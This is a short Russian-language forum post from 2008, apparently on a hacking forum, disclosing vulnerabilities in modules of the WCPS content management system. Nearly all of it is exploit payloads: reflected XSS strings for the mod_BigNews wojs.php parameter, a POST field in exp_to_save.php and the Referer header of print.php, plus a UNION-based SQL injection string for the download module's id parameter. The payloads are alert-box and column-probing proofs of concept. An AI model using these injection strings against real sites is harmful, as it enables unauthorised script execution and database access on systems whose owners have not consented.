09.05.2008, 17:55
|
|
Постоянный
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049
Репутация:
705
|
|
WCPS modules
mod_BigNews1.1 passive xss
php/wojs.php?name_titl=');alert(/a/);('
ps в оригинальном файле не проканает)
Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам)
php/exp_to_save.php
POST asfile=<script>alert(/d/)</script>
/php/print.php
Referer: "><script>alert(/s/)</script>
Mod download sql inj
Пример
index.php?nma=download&fla=download&id=-1+union+select+1,2,3/*
|
|
|